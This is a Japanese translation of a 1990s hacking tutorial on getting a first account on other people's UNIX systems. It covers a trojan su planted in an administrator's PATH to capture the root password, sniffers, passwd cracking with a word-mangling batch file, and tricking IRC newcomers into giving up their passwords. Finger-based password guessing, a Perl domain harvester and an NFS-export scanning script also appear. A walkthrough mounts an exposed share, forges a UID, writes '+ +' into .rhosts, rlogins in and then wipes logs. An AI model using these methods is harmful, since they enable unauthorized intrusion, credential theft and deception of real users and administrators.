==================== お子様 UNIX 第3部 ======================= ------------------------------------ 第2章 スタート(最初のアカウント) Chapter II Getting started (your first account) ------------------------------------ 最初のアカウントを手に入れる方法はたくさんある。必要なのは数百のアカウント を生み出す一つの良いアカウントだ。 root を獲得したらスニファーをロードする。TCP スニファーはネットワークのどんな ログインプロセスでも探しだし、login と password を記録する。システムに出入り する telnet, ftp, ダイヤルインセッションなど。 それがいくつかのマシンやドメインの小さなネットワークでも 100くらいのパスワード は手に入る。もし大きなプロバイダなら、世界中の数百のパスワードが手に入る。この ためには、利用できるシステムの一つのパスワードがいる。もし root が取れそうにな かったら、パスワードをクラックしてハッカーと別のアカウントと交換したり、shell アカウントが無いために bot の置き場所を探しているIRCユーザーと交換してもよ い。root を獲った場所のパスワードは一つでも外に出してはいけない。そのシステム は自分のために使う。 では最初のアカウントを手に入れよう。 -------------------------------- Section 2A パスワードクラック Section 2A. Cracking passwd files -------------------------------- 正統的にハッキングを行いたいなら、システムに招待してくれる一つのパスワードを 手に入れるためにクラックプログラムを走らせる。 システムにログインして root になる exploits が分かったら、そう、root になれた ら、必要なファイルをネストしたディレクトリに置き、自分の存在を消す。そしてす べてのログをクリーンにする。さあ、スニファーをロードする準備が整った。 なぜシステムのパスワードのハックを続けるか。24時間以内に多くのパスワードが 手に入るだろう。今、ハックしたマシンだけでなく繋がっている他のマシンも。 もし、root になれないシステムでも時間の浪費ではない。次へ行く。 後でパスワードをクラックして交換できる。 もし、管理者のアカウントがクラックできたら、彼のヒストリーファイルを見る。 彼が root になるときに su コマンドをよく使っているか調べる。もしそうなら、 su トロイが使える。これは root のパスワードを君に教えてくれる。このように する。 彼のシェルスクリプトを変える。隠しディレクトリ(.term)が良い。他のディレクトリ より先にパス(path)をサーチするようセットする。偽の su を .term ディレクトリに 置く。彼が su とタイプして、root のパスワードをタイプする。このパスワードは、 /tmp/.elm69 にコピーされ、トロイの su を削除する。そしてパスワードエラーを表 示する。彼は間違えたと思い、もう一度 su をタイプする。しかし、今度は本当の su が走り、彼はログインする。 このための偽の su プログラムがある。 Fake SU by Nfin8 - i-e IRC: /msg i-e 1. 君がアクセスしてヒストリーファイルから su を使うと分かったユーザーの path を変える。最初に君が偽の su を置いた場所にヒットさせる。 .term や .elm が良い。 2. su.c の最初の部分を自分が遣う path になっていることを確かめる。この偽 の su は自分自身を消さなければならない。それで次に本当の su が動く。 3. すべてのファイルをターゲットのディレクトリでコンパイルする。 gcc su.c -o su su 以外のすべてのファイルを消す。これで終りだ。 .bash_profile はこのようになっている。 # .bash_profile # Get the aliases and functions if [ -f ~/.bashrc ]; then . ~/.bashrc fi # User specific environment and startup programs PATH=$PATH:$HOME/bin ENV=$HOME/.bashrc USERNAME="" export USERNAME ENV PATH 最初の行を PATH=$HOME/.term:$PATH:$HOME/bin に変える。 システム管理者が SU を走らせれば、.termディレクトリの SU−trojan が起動 する。そしてパスワードが間違っていると知らせる。トロイの su は、君のため に /tmp ディレクトリの隠しファイルに root のパスワードを書き込む。それか ら、トロイは自分のプログラムを消し、次は本当の su が走るようにする。 管理者のパスワードは、/etc の passwd ファイルの始めの部分にあるだろう。 このようにタイプする。 more passwd パスワードファイルに作られた有効なアカウントの最初の2つが管理者のものだと 分かるだろう。時には彼らのディレクトリにパスワードファイルがある。例えば、 /staff/username ヒストリーファイルはそれぞれのユーザーのディレクトリにある。これらのファイル を読み、ユーザーがどんなコマンドを使うか調べる。時には 100以上残っている。 .bash_history あるいは History ファイルを探す。これは more で読める。 more .bash_history とタイプする。たぶん、これでも良いだろう。 more .b* あるいは単に more .b (そして TAB を押す) Ok そろそろ良いパスワードクラッカーが必要になるだろう。アカウントなしにパス ワードファイルを手に入れる方法は、次の章にある。しかし、パスワードクラックプ ログラムも必要だ。 必要なものは3つ。 1. パスワードクラックプログラム Password cracking program 2. 良い辞書 Good word files 3. パスワードファイル Password files 最初に使うクラックプログラムは、cracker jack が良いだろう。ウェブ上で簡単に 見つかる。それをダウンロードする。もう少し進んだら unix 用のクラッカーを使 うことにしよう。しかし最初は DOS/OS2 バージョンを使おう。 良い辞書も探さなければいけない。名前の辞書が良い。君もそのうち最も安全でない パスワードとは、ガールフレンドの名前をつけた男性、ボーイフレンドの名前をつけ た女性であることを知るだろう。;) このような辞書を見つける。'familynames' 'babynames' 'girlsnames' 'boysnames' 'commonpasswords'hackersdict など ... crackerjack はこのように使う。 [D:\jack]jack Cracker Jack version 1.4 for OS/2 and DOS (386) Copyright (C) 1993, The Jackal, Denmark PWfile(s) : domain.com.passwd Wordfile : domain.com.passwd このようにパスワードファイルを辞書として走らせる。これはすべてのログインに ログイン名をパスワードとして使う。もし、他人の名前や会社の名前を使っていた ら、ヒットする。 単語を変化させたい(hash)なら、Crackerjack の DOC を良く読む事。 ハッシングは辞書の大文字と小文字を変えたり、最初や最後に数字や文字を加えた りする。sandy が 1sandy のように。多くのユーザーがこれを行い更に安全になっ たと考えていることが分かるだろう。 これがハッシングを行うファイルだ。良く中身を調べると、必要に応じてどのよう に変更すればよいか分かるだろう。 ------------ start of dicthash.bat @echo off cls echo - THIS FILE FOR DOS MACHINES echo ---------------------------------------------------------------------- jpp -lower %1 | jack -stdin %2 jpp %1 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.1 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.1 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.2 | jack -stdin %2 .........(以下略) ......[訳注] jpp で辞書の単語を変化させ、パイプでjackに送っている。 この操作は john the ripper を使うほうが簡単にできるので省略した。 アカウントなしにパスワードを入手する方法もある。それは次の章で説明する。 ------------------------------ セクション 2B newbe と話す Section 2B. Talking to newbe's ------------------------------ あまり手をかけずにアカウントをゲットする他の方法もある。タイトルをハッキングに 関したもので IRC チャンネルを作る。他のチャンネル、例えば #hacking #unix #unixhacking #hack #hackers #hacker #virus #virii #hackers_hideout このようなチャンネルにも参加する。 ここですでに shell をすでに持つニュービー(newbe)を探す。あまり良く知らない誰かが いるものだ。誰かがニュービーの質問を無視したりチャンネルからキックするのを待つ。 ....君の番だ。 彼と話していることが他人に分からないように彼に /msg を送る。彼に問いかけ、彼を 助けるふりをする。最後に自分がログインしてやってみようと言う。彼に約束してパス ワードを手に入れる。今や自分のプロセスのスタートだ。もし、そのシステムで root を手に入れたら、彼に与えたくはないだろう。君がシステムの他のパスワードを嗅ぎ付 ける間は彼に他の餌を与えておく。 これを覚えていたら、自分のアカウントとパスワードを与える時には、このような事が 決して起こらない事を確かめておく。 私は人々が学習する手伝いをしたい。 そこで、私は出会ったほとんどの人には親切にしている。 --------------------------- セクション2C 難しい方法 Section 2C. The hard way --------------------------- これはパスワードを手に入れる別の方法だ。大きなシステムのほとんどのユーザーが 安全なパスワードを持たない事がある。shell からこうする。 finger @domainname.com [10:35am][/home/ii]finger @starnet.net [starnet.net] Login Name Tty Idle Login Time Office Office Phone chris Chris Myers p2 4:46 Jan 27 11:19 mike Mike Suter p1 4:57 Jan 22 16:14 mike Mike Suter p5 3d Jan 16 15:35 root System Administrator p3 4:59 Jan 16 10:17 wendt Catherine Wendt-Bern p0 3 Jan 21 14:49 [10:35am][/home/ii] 後でログインを試すために、この情報を記録しておく。 chris には、Chris, chris, myers, Myers, chrismyers, etc...を試す。 これもよい。wendt に Catherine catherine 別のコマンドもある。 [10:35am][/home/ii]finger -l @starnet.net [starnet.net] Login: mike Name: Mike Suter Directory: /usra/staff/mike Shell: /bin/csh On since Wed Jan 22 16:14 (CST) on ttyp1, idle 5:26, from mikesbox.starnet.net On since Thu Jan 16 15:35 (CST) on ttyp5, idle 3 days 22:00, from mikesbox Last login Sun Jan 26 23:07 (CST) on ttyp2 from hurk No Plan. Login: root Name: System Administrator Directory: /root Shell: /bin/csh On since Thu Jan 16 10:17 (CST) on ttyp3, idle 5:28, from mikesbox.starnet.net Last login Thu Jan 16 18:07 (CST) on ttyp6 from mikesbox.starnet.net Mail forwarded to: \chris@admin.starnet.net #\chris@admin.starnet.net, \mike@admin.starnet.net No Plan. Login: wendt Name: Catherine Wendt-Bernal Directory: /usra/staff/wendt Shell: /bin/csh On since Tue Jan 21 14:49 (CST) on ttyp0, idle 0:02, from veggedout No Plan. さらに詳細な情報がでる。;) この方法は根気がいることは知っている... この試みはログされる事を忘れはいけない。成功して root を獲ったら、ログを きれいにする。 もし成功したら、このプログラムを使う。 pop3hack.c (*1) また、ドメインリストから finger してファイルに cat する perlスクリプトを 書いても良い。それから pop3d を使い username:username でトライする。 (*2) rs.internic.net に ftp をしてもよい。 domain directory がある。 com.zone.gz edu.zone.gz gov.zone.gz mil.zone.gz net.zone.gz org.zone.gz これをダウンロードして getdomail.pl(下記)をターゲットのドメインで走らせる。 "perl getdomain.pl com.zone com >com.all" これはすべての .COMドメインを com.all ファイルに落とす。 もし、 .EDU でやりたければ、 perl getdomain.pl edu.zone edu >edu.all これが perl script だ。 getdomain.pl ---- cut here #!/usr/bin/perl # GetDomain By Nfin8 / Invisible Evil # Questions /msg i-e or /msg i^e # # Retrieve command line arguments. my($inputfile, $domain) = @ARGV; usage() if (!defined($inputfile) || !defined($domain)); # Open and preprocess the input file. open(INFILE, "<$inputfile") or die("Cannot open file $inputfile for reading!\n"); my(@lines) = <INFILE> # Initialize main data structure. my(%hash) = {}; my($key) = ""; foreach (@lines) { $key = (split(/\ /))[0]; chop($key); next if ((($key =~ tr/.//) < 1) || (uc($domain) ne uc(((split(/\./, $key))[-1]))) || ($key =~ m/root-server/i)); $hash{$key}++; } # Close input file and output data structure to STDOUT. close(INFILE); foreach (sort(keys(%hash))) { print "$_\n"; } sub usage { print("\n\ngetdomain:\n"); print("Usage: getdomain [inputfile] [search]\n\n"); print("Where [search] is one of \'com\', \'edu\', \'gov\', \'mil\' or \'net\'.\n\n"); exit(0); } 0; ---- cut here - end of script ----- これを使うには、カットマークで切り取り、getperl.pl という名前で保存する。 chmod +x getdomain.pl で実行できるようにする。 これで準備はできた。 (*1) 長いのいで省略 pop3に l:user,pass:user で Brute force するプログラム。 (*2) telnet にせよ pop3 にせよ一度でも失敗したら、まあログには残るでしょう。 telnet と pop3 のパスワードが同じでない場合もある。 ------------------------------------------ セクション2D マウントを使う Section 2D. using Mount to gain access to unix systems ------------------------------------------ これは難しくはない。そしてマウントできるシステムがあちこちにある。mount は リモートマシンのドライブを自分のものとして使うようにできる。これでネットワ ーク上の他のマシンからインストールすることも、単にディレクトリを共有するこ ともできる。問題は多くの管理者が unix コマンドや setup を良く知っていること だ。あるいは彼らはただ怠け者で、世界中から write アクセスできることを理解せ ずにドライブをマウントしているかもしれない。 これを始めるには、まず root アカウントをハックする。リモートのドライブをマ ウントし、アクセスするにはシステムのパスワードファイルを変更する。そして、 su コマンドを使う。 Ok root アクセスできるとしよう。では、はじめよう。 他のシステムがマウントできるかどうかは、showmount コマンドでわかる。 root アカウントより、 $root> showmount -e wwa.com mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive Ok,このドメインではうまくいかない。次に行こう... $root> showmount -e seva.net Export list for seva.net: /var/mail pluto.seva.net /home/user1 pluto.seva.net /usr/local pluto.seva.net,rover.seva.net /export/X11R6.3 rover.seva.net /export/rover rover.seva.net,pluto.seva.net /export/ftp/linux-archive/redhat-4.1/i386/RedHat (everyone) (everyone)に注意。もし、ここから linux をインストールしたいのなら、 これは良い。しかし、ユーザーのディレクトリを開きたいなら、次へ行く。 $root> showmount -e XXXXX.XXX < うまくいった.... ;) Export list for XXXXX.XXX: /export/home (everyone) こいつは home をマウントしている。ユーザーアカウントは home の外だ。 もう一度良く見る。 ... (everyone)がアクセスできる ! Ok, このセクションでは、何がマウントできるか理解しよう。次のセクションで どのようにマウントしてハックするかを示す。今のところ、インターネット上の すべてのドメインをスキャンして、マウント出来るかどうか調べるスクリプトが 使える。そして、それをログする。 このスクリプトには、PHF セクションにあるドメイン・リッパーを使う。必要な ファイルは、rs.internic.net からダウンロードする。 これをバックグランドで走らせるには、このコマンドを使う。 cmount.pl& どのように、動くか。 このファイルを走らせると、ドメインリストにより showmopunt -e を実行する。 もし、マウントできるドライブがあると、カレントディレクトリに、このような ファイル名で保存される。 domain.XXX.export 君はこのファイルを見て、ドライブをマウントするだけだ ! --------------- start of cmount.pl #!/usr/bin/perl -w # # Check NFS exports of hosts listed in file. # (Hosts are listed, once per line with no additional whitespaces.) # # ii@dormroom.pyro.net - 2/27/97. # Assign null list to @URLs which will be added to later. my(@result) = (); my(@domains) = (); my($program) = "showmount -e "; # Pull off filename from commandline. If it isn't defined, then assign default. my($DomainFilename) = shift; $DomainFilename = "domains" if !defined($DomainFilename); # Do checking on input. die("mountDomains: $DomainFilename is a directory.\n") if (-d $DomainFilename); # Open $DomainFilename. open(DOMAINFILE, $DomainFilename) or die("mountDomains: Cannot open $DomainFilename for input.\n"); while (<DOMAINFILE>) { chomp($_); print "Now checking: $_"; # Note difference in program output capture from "geturl.pl". open (EXECFILE, "$program $_ |"); @execResult = <EXECFILE> next if (!defined($execResult[0])); if ($execResult[0] =~ /^Export/) { print " - Export list saved."; open (OUTFILE, ">$_.export"); foreach (@execResult) { print OUTFILE; } close (OUTFILE); } close(EXECFILE); print "\n"; } # We are done. Close all files and end the program. close (DOMAINFILE); 0; ----------------- end of cmount.pl Ok, それではドライブをマウントしよう.... showmount -e domain.com を実行すると、次のように返ってくる。 Export list for domain.com: / (everyone) /p1 (everyone) /p2 (everyone) /p3 (everyone) /p5 (everyone) /p6 (everyone) /p7 (everyone) /var/spool/mail titan,europa,galifrey /tmp (everyone) 我々は / をマウントしよう。 ..そう.... この男は彼のシステムすべてをマウント可能にしている ! $root> mkdir /tmp/mount $root> mount -nt nfs domain.com:/ /tmp/mount 彼がマウントできる home を持っていたら、コマンドはこうなる。 $root> mount -nt nfs domain.com:/home /tmp/mount システムのマウントを解除するには、ディレクトリの外にいる事を確かめて、 $root> umount /tmp/mount まず最初にマウントするディレクトリを作る。これはシステムのどこでも良い。 もしシステムに /mnt があり空なら、これも使える。 Ok 実際はこのようになる。 bash# ls -al /mnt ; マウントするディレクトリが空であることを確かめておく ls: /mnt: No such file or directory ; ディレクトリがない ;) bash# mkdir /mnt ; では、作ろう.. bash# mount -nt nfs xxxxxx.xxx:/export/usr /mnt ; さあ、アホをマウントしよう ... bash# cd /mnt ; マウントした場所へ... bash# ls TT_DB home raddb share back local radius-961029.gz www exec lost+found radius-961029.ps bash# home ディレクトリがある ... oh good ... bash# cd home bash# ls -l ; 詳細を表示。 ... tom が良さそうだ ;) total 18 drwxr-xr-x 2 judy other 512 Feb 1 10:41 garry drwxr-xr-x 69 infobahn other 5632 Mar 10 01:42 horke drwxr-xr-x 11 301 other 2048 Mar 1 10:25 jens drwxr-xr-x 2 300 other 512 Oct 15 07:45 joerg drwxr-xr-x 2 604 other 512 Feb 8 13:00 mailadmin drwxr-xr-x 2 melissa other 512 Sep 27 06:15 mk drwxr-xr-x 6 news news 512 Mar 6 1996 news drwxr-xr-x 2 303 other 512 Jan 24 04:17 norbert drwxr-xr-x 4 jim other 512 Sep 27 06:16 pauk drwxr-xr-x 2 302 other 512 Mar 1 10:10 tom drwxr-xr-x 5 601 daemon 512 Jan 26 1996 viewx drwxr-xr-x 10 15 audio 512 Oct 17 08:03 www bash# ; notice tom is user number 302 ... hmmm lets put him in our passwd file bash# pico /etc/passwd tom:x:302:2::/home:/bin/bash ; this should do it ;) bash# su - tom ; tom のアカウントに su... bash$ ls -l total 18 drwxr-xr-x 2 judy other 512 Feb 1 10:41 garry drwxr-xr-x 69 infobahn other 5632 Mar 10 01:42 horke drwxr-xr-x 11 301 other 2048 Mar 1 10:25 jens drwxr-xr-x 2 300 other 512 Oct 15 07:45 joerg drwxr-xr-x 2 604 other 512 Feb 8 13:00 mailadmin drwxr-xr-x 2 melissa other 512 Sep 27 06:15 mk drwxr-xr-x 6 news news 512 Mar 6 1996 news drwxr-xr-x 2 303 other 512 Jan 24 04:17 norbert drwxr-xr-x 4 jim other 512 Sep 27 06:16 pauk drwxr-xr-x 2 tom other 512 Mar 1 10:10 tom drwxr-xr-x 5 601 daemon 512 Jan 26 1996 view drwxr-xr-x 10 15 audio 512 Oct 17 08:03 www bash$ ; tom の user number が変わった ... 彼の dir は我々のものだ ! bash$ echo + +>>tom/.rhosts ; 彼のディレクトリに .rhosts を作る。 bash$ ; .rhosts でワイルドカード + + が使われている。 誰でも彼のアカウントに rlogin できる。 bash$ rlogin xxxxx.xxx we are tom on our machine, so lets just rlogin plain. Last login: Fri Mar 7 00:16:03 from xxxxx.xxxxxxxxxx Sun Microsystems Inc. SunOS 5.5 Generic November 1995 > ; そう、我々は入っている ! > ls -al total 8 drwxr-xr-x 2 tom group 512 Mar 1 17:10 . drwxr-xr-x 14 tom group 512 Jan 24 11:16 .. -rw-r--r-- 1 tom group 144 Dec 30 15:32 .profile -rw-r--r-- 1 tom bin 8 Mar 11 08:26 .rhosts > 今や我々はアクセスできている。さあ、このシステムをハックしよう... しかし、それは別のレッスンだ。 Have pun! ------------------------------------------------------ [訳者後記] どうです。そろそろ難しくなったでしょう。分からないところは勉強しましょう。 ここで、しっかり勉強しておいて下さい。なぜなら.... 次の章ではがっかりするからだ... わはは。(謎)